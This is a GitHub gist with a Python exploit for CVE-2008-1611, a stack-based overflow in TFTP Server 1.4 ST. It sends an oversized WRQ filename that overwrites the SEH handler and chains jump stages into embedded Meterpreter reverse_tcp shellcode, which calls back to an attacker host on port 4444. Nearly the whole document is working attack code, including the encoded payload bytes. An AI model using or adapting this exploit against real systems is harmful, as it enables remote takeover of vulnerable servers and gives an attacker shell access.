Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Created March 20, 2017 19:12
Show Gist options
  • Select an option

  • Save mgeeky/a18249e449b4445b87003cea8af48173 to your computer and use it in GitHub Desktop.

Select an option

Save mgeeky/a18249e449b4445b87003cea8af48173 to your computer and use it in GitHub Desktop.
Exploit for the CVE-2008-1611 TFTP Server 1.4 ST RRQ/WRQ packet's filename stack-based overflow with SEH overwrite.
#!/usr/bin/python
import socket
import struct
HOST = '192.168.1.100'
PORT = 69
def send_packet(filename):
#
# TFTP RRQ/WRQ (Read/Write Request) Packet structure:
#
# | 2 bytes | string |1 byte | string | 1 byte|
# -----------------------------------------------
# | opcode | Filename | 0 | Mode | 0 |
# -----------------------------------------------
#
# - Opcode has to be 1 or 2 (RRQ/WRQ)
# - Mode can be: 'netascii'
#
buf = ''
buf += struct.pack('>H', 2) # Write Request (WRQ)
buf += filename
buf += struct.pack('>B', 0)
buf += 'netascii'
buf += struct.pack('>B', 0)
print '[+] Sending packet of length: %d' % len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(buf, (HOST, PORT))
def main():
# 0x00409605: pop ebx # pop ebp # ret | TFTPServerSP.exe
retaddr = struct.pack('<I', 0x00409605)
#
# Stage 1: Jump back by 32 bytes, to land in Stage 2.
#
# jmp $-32
stage1 = '\xeb\xde\x90\x90'
#
# Stage 2: Jump back by 768 bytes, to land in Stage 3.
# Original idea based on Aaron James implementation
# (as described in Phrack 62, article #7)
# fldz
# fstenv (28-byte) ptr ss:[esp-C]
# pop ecx
# add cl, 10
# nop
# dec ch
# dec ch
# dec ch
# jmp ecx
stage2 = '\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x10\x90\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1'
stage2 += '\xcc' * (32 - len(stage2))
#
# Stage 3: The actual shellcode. It has to be maximally 766 bytes long.
#
stage3 = ''
stage3 += '\x90' * 450 # This initial padding is required.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 \
# -b '\x00\x2f' --encoder-space 740 -f py -v stage3
stage3 += "\xd9\xe5\xd9\x74\x24\xf4\x58\x33\xc9\xbb\x0b\xf6"
stage3 += "\x70\x74\xb1\x54\x31\x58\x18\x83\xe8\xfc\x03\x58"
stage3 += "\x1f\x14\x85\x88\xf7\x5a\x66\x71\x07\x3b\xee\x94"
stage3 += "\x36\x7b\x94\xdd\x68\x4b\xde\xb0\x84\x20\xb2\x20"
stage3 += "\x1f\x44\x1b\x46\xa8\xe3\x7d\x69\x29\x5f\xbd\xe8"
stage3 += "\xa9\xa2\x92\xca\x90\x6c\xe7\x0b\xd5\x91\x0a\x59"
stage3 += "\x8e\xde\xb9\x4e\xbb\xab\x01\xe4\xf7\x3a\x02\x19"
stage3 += "\x4f\x3c\x23\x8c\xc4\x67\xe3\x2e\x09\x1c\xaa\x28"
stage3 += "\x4e\x19\x64\xc2\xa4\xd5\x77\x02\xf5\x16\xdb\x6b"
stage3 += "\x3a\xe5\x25\xab\xfc\x16\x50\xc5\xff\xab\x63\x12"
stage3 += "\x82\x77\xe1\x81\x24\xf3\x51\x6e\xd5\xd0\x04\xe5"
stage3 += "\xd9\x9d\x43\xa1\xfd\x20\x87\xd9\xf9\xa9\x26\x0e"
stage3 += "\x88\xea\x0c\x8a\xd1\xa9\x2d\x8b\xbf\x1c\x51\xcb"
stage3 += "\x60\xc0\xf7\x87\x8c\x15\x8a\xc5\xd8\xda\xa7\xf5"
stage3 += "\x18\x75\xbf\x86\x2a\xda\x6b\x01\x06\x93\xb5\xd6"
stage3 += "\x69\x8e\x02\x48\x94\x31\x73\x40\x52\x65\x23\xfa"
stage3 += "\x73\x06\xa8\xfa\x7c\xd3\x45\xfe\xea\x1c\x31\x64"
stage3 += "\xdd\xf4\x40\x65\x30\x59\xcc\x83\x62\x31\x9e\x1b"
stage3 += "\xc2\xe1\x5e\xcc\xaa\xeb\x50\x33\xca\x13\xbb\x5c"
stage3 += "\x60\xfc\x12\x34\x1c\x65\x3f\xce\xbd\x6a\x95\xaa"
stage3 += "\xfd\xe1\x1c\x4a\xb3\x01\x54\x58\xa3\x73\x96\xa0"
stage3 += "\x33\x1e\x96\xca\x37\x88\xc1\x62\x35\xed\x26\x2d"
stage3 += "\xc6\xd8\x34\x2a\x38\x9d\x0c\x40\x0e\x0b\x31\x3e"
stage3 += "\x6e\xdb\xb1\xbe\x38\xb1\xb1\xd6\x9c\xe1\xe1\xc3"
stage3 += "\xe3\x3f\x96\x5f\x71\xc0\xcf\x0c\xd2\xa8\xed\x6b"
stage3 += "\x14\x77\x0d\x5e\x27\x70\xf1\x1c\x05\xd9\x9a\xde"
stage3 += "\x09\xd9\x5a\xb5\x89\x89\x32\x42\xa6\x26\xf3\xab"
stage3 += "\x6d\x6f\x9b\x26\xe3\xdd\x3a\x36\x2e\x83\xe2\x37"
stage3 += "\xdc\x18\xf2\xb9\x23\x9f\xfb\x3b\x18\x49\xc2\x49"
stage3 += "\x59\x49\x71\x41\xd0\xec\xd0\xc8\x1a\xa2\x23\xd9"
stage3 += '\x90' * (1232 - len(stage1) - len(stage2) - len(stage3))
exploit = ''
exploit += stage3
exploit += stage2
exploit += stage1
exploit += retaddr
exploit += 'B' * (5000 - len(exploit))
assert len(stage1) == 4, "Stage1 is of wrong size"
assert len(stage2) == 32, "Stage2 is of wrong size"
assert len(stage3) == 1196, "Stage3 is of wrong size"
assert (len(stage1)+len(stage2)+len(stage3) == 1232), "Stages are of wrong size"
assert (len(exploit) == 5000), "Exploit's length is wrong."
send_packet(exploit)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment